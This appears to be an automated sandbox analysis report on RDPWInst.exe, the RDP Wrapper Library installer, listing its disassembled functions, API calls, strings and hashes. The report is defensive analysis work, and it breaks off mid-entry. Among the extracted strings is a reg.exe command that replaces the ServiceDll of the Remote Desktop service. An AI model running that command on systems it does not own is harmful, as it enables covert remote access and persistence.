Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction ID: de0dc4671a2c55deed7a27a48df34c8c3110be8be3acd5b577aa359944728292
Opcode Fuzzy Hash: 88c077e9ec81b413e44c4e0d06344b1548c794062b539f639d5ca81acda773dd
Instruction Fuzzy Hash: EA4183B5500A40A9E730BF24C90972376E4EBC0714F20CE3FE692B66D0E7BDA845878D

Function 0043C31C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 70
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C37B
GetLastError.KERNEL32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C384
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC,?,00447324), ref: 0043C3BB
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3C6
CloseHandle.KERNEL32(?,?,000000FF,?,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000044,?,00000000,0043C3EC), ref: 0043C3CF

Strings

$sD, xrefs: 0043C38D
[-] CreateProcess error (code: , xrefs: 0043C392
D, xrefs: 0043C34D

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastObjectProcessSingleWait
String ID: $sD$D$[-] CreateProcess error (code:
API String ID: 1377960556-1026335874
Opcode ID: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction ID: 1d017b2d671d3512e5dabab7732e068b99e5a835ee42228d460eb482b244bc14
Opcode Fuzzy Hash: 58e4cee0019deaf83b36aa1437f8aa0207d0818498334e5e25efdc6c94b6a7a4
Instruction Fuzzy Hash: D21151B0644204AADB00F7E5CD82F9E77B89F49714F61453BF610F61D2D67CA910972E

Function 00403028 Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,00402C9A), ref: 004030BE
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,00402C9A), ref: 004030D8

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction ID: 8e11df8688fcfc32dba15f0401baaa5f3e1cf13b6ab2085a37f93781684c6a2f
Opcode Fuzzy Hash: 93a1e75d392f98f45c217d5d1b4a4ce21d939f5f7de44ee49ef913328a692d58
Instruction Fuzzy Hash: 9F7115312052009FD715CF69CE89726BFE4AB89315F14827FD444AB3D6D7B889458789

Function 0043C598 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,0043C716,?,?,?,00447324,00000000,00000000,00000000,?,00443BC6,00000000,00443FB2), ref: 0043C600

Strings

$sD, xrefs: 0043C60D
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C5EF
%SystemRoot%, xrefs: 0043C682
ServiceDll, xrefs: 0043C650
[-] OpenKey error (code , xrefs: 0043C612
\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d ", xrefs: 0043C68F
" /f, xrefs: 0043C69A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: " /f$$sD$%SystemRoot%$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters$\system32\reg.exe" add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "
API String ID: 1452528299-2956723230
Opcode ID: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction ID: 86ae2d0f633f2b7d457566c29c3046f730a81976c8e7ce91198a0ccb689aa4bb
Opcode Fuzzy Hash: 0c5b84642f90c2c43a864384322aaebdce3b992f712f0d9bf057b86ee0e3b406
Instruction Fuzzy Hash: B331DE74A04204AFDB10FB66CC82A2E77A5DB4D308F61A07BF800B7291CB3CAD049B5D

Function 00402CA4 Relevance: 9.0, APIs: 7, Instructions: 298sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00402C72), ref: 00402D5B
Sleep.KERNEL32(0000000A,00000000,?,00402C72), ref: 00402D71
Sleep.KERNEL32(00000000,?,?,?,00402C72), ref: 00402D9F
Sleep.KERNEL32(0000000A,00000000,?,?,?,00402C72), ref: 00402DB5

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction ID: 31c3f393645164f4675e576557a9223240219fe3669f0ad713ca74d6ded16897
Opcode Fuzzy Hash: 50f8b12719e1c4c784f8227bf124f2ef405a8e2e831e3cb3860c1e75e50a0c63
Instruction Fuzzy Hash: B4C147766052518FD715CF28DE8831ABBE0AB86314F1882BFD444BB3D5C7B89946CBD8

Function 0040941C Relevance: 6.1, APIs: 4, Instructions: 118stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409497
lstrlenW.KERNEL32(?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 004094A3
GetUserDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 00409530
GetSystemDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,004095BB,?,00437408,?,00000000), ref: 0040955C

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DefaultLanguage$SystemUserlstrcpynlstrlen
String ID:
API String ID: 3749826553-0
Opcode ID: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
Instruction ID: 670d7e8fee0ffa615f00d819e5c077188fbd82142d60affd8ce3058b6d31cf6a
Opcode Fuzzy Hash: d710f7c1299fe0245be1f89c25ed315f3e3ffeabd22d09ed061d9454a6b695c6
Instruction Fuzzy Hash: 37416571A002195ED721EB6ADC8978EB3B4EF48304F5005BAE448B72D2DB789E908E58

Function 004040B4 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 004040D2
VirtualFree.KERNEL32(00449AC8,00000000,00008000,?,00000000,00008000,?,?,?,?,00404194,0040A1B9,00000000,0040A1E0), ref: 0040412F

Strings

xPD, xrefs: 004040E2
$zD, xrefs: 004040B8

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID: $zD$xPD
API String ID: 1263568516-535612291
Opcode ID: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction ID: 63e96df57fdc30e3e5434cdd8ac4306be2e0fcd0727744789414a485f14a8afc
Opcode Fuzzy Hash: ee1e8e4c5ce6b12cd624387e406e1cf1ad3c0fb6f8253ccd4ae2b310545238de
Instruction Fuzzy Hash: CF1161B13012009FDB248F059985B26BAE5EBC4714F55C0BEE309AF3C2D679EC01CB58

Function 00438B0C Relevance: 4.6, APIs: 3, Instructions: 150registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438B85
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00438CCF,?,?,?,00000000), ref: 00438BFB
RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00438C6C

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction ID: 3681a8d3f24b20706dc106850b3bb9ce640454c4e8124a7cc358b0d46e7adf70
Opcode Fuzzy Hash: 56a7ec8d88e5670b99992fed871dbba86343d1eb3cba1c9f5227469b2a4bb512
Instruction Fuzzy Hash: 1F51A370B00344AFDB11EBA5C842B9EF7F9AB48304F11547EB444A3282CA7DAF069759

Function 00406220 Relevance: 4.6, APIs: 3, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction ID: 823ae625d887489e04d5fb836baef855571e76b59bd7737af2fa314308855dda
Opcode Fuzzy Hash: 366fdbe2bdf6eda399ec161f43325e884a453738e97a5e27564f450e25dd0238
Instruction Fuzzy Hash: 0D316F749002508BEF21BF69988975737A0AB05319F1640BFE806AB2D7C77C9CA4CB9D

Function 00406218 Relevance: 4.6, APIs: 3, Instructions: 76threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction ID: 46b61aa2349ed196f7bea0abd1f985a96ea7bcfce35a4251490327c9ac1ca2fd
Opcode Fuzzy Hash: 4e2b89c40ccb1b4c43cad0f32e0a83214a0d4d0925328316d29d930894bce137
Instruction Fuzzy Hash: 1331A2749002908BDF21BF78888975737A0AB06319F1640BFE845AB2D7C37C9CA4CB9D

Function 0040621C Relevance: 4.6, APIs: 3, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406251
FreeLibrary.KERNEL32(00400000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 004062D2
ExitProcess.KERNEL32(00000000,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000,00404320,00447324,00404C2E,?,?,RDP Wrapper Library v1.6.2), ref: 0040630E

Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
Part of subcall function 00406190: GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
Part of subcall function 00406190: WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction ID: d971c45546d1ba4d910c131f5b4d15d6df32f901540fb653785064192c66a389
Opcode Fuzzy Hash: 6b58315340373024079e24359f3f29825cf54609d1d79e5c4cc5367edd112065
Instruction Fuzzy Hash: 712191749002508BDF21BF79988975737A0AB06319F1640BFE806AB2C7C37C9CA4CB9D

Function 00402990 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,00402F9F,?,00402C72), ref: 004029A6

Strings

$zD, xrefs: 004029AF, 004029BD
$zD, xrefs: 004029B7

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: $zD$$zD
API String ID: 4275171209-354537599
Opcode ID: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction ID: 5217acd6ab2d11c2bd36ab0357f96252e91eb64f60a530f80fec48377855cdbd
Opcode Fuzzy Hash: 1540fdcf1954a72339a161570870ab93fcd0dcb29e693a4e8299ffb28a0cb967
Instruction Fuzzy Hash: 8AF062F1B143004FDB45CF799D853157AD1A78A318F20807EE608EB7E8EBB484468B48

Function 004069D4 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 004068D2
SysAllocStringLen.OLEAUT32(?,?), ref: 004069DF
SysFreeString.OLEAUT32(?), ref: 004069F1

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction ID: fb71732fc0ca27c4a1f64b9cddcd98791c7700d24e5edf769cc3926ad45b99af
Opcode Fuzzy Hash: 552166d6c025dde526ed4baf3a4c1e22db0c7fdbaa80c72df019331380f0f916
Instruction Fuzzy Hash: D6E08CB91022017DEA002F228D14B3B3368AF82311B6980BFB401BA2D1D67C88419A3C

Function 004398F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000), ref: 0043991B

Strings

ImagePath, xrefs: 004398F0

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ImagePath
API String ID: 3660427363-1008103227
Opcode ID: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction ID: d4c3dc3867a5d7f93f9a48779984ca1be9368a485682844844f209d8ad6df9e6
Opcode Fuzzy Hash: 8f9baab103978417c959294274641bc3878bd645011188ec3b2bcbd739b8bb79
Instruction Fuzzy Hash: C0019E76604208AFDB00EFA9CC81EDFB7A8EB49314F00817AB954D7342DA749E048BA5

Function 004399A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50registryCOMMON

Download Yara Rule

APIs

